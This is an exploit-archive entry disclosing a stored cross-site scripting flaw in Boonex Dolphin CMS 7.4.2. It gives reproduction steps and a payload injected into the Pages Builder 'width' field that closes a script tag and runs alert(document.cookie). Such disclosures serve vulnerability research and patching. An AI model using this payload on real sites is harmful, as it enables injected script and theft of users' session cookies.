Boonex Dolphin 7.4.2 - 'width' Stored XSS

# Exploit Title: Boonex Dolphin 7.4.2 - 'width' Stored XSS
# Date: 18-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.boonex.com/
# Software Link: https://www.boonex.com/downloads
# Version: 7.4.2
# Tested on: Windows 10

# Reference - https://github.com/xoffense/POC/blob/main/Boonex%20Dolphin%20CMS%207.4.2%20%20stored%20XSS

Steps to Reproduce Bug:
1- Login to Admin Panel
2- Goto "Builders" => "Pages Builder"
3- Select any page
4- Turn on Burp Suite Intercept and Change "other pages width" to "1081px</script><script>alert(document.cookie)</script>"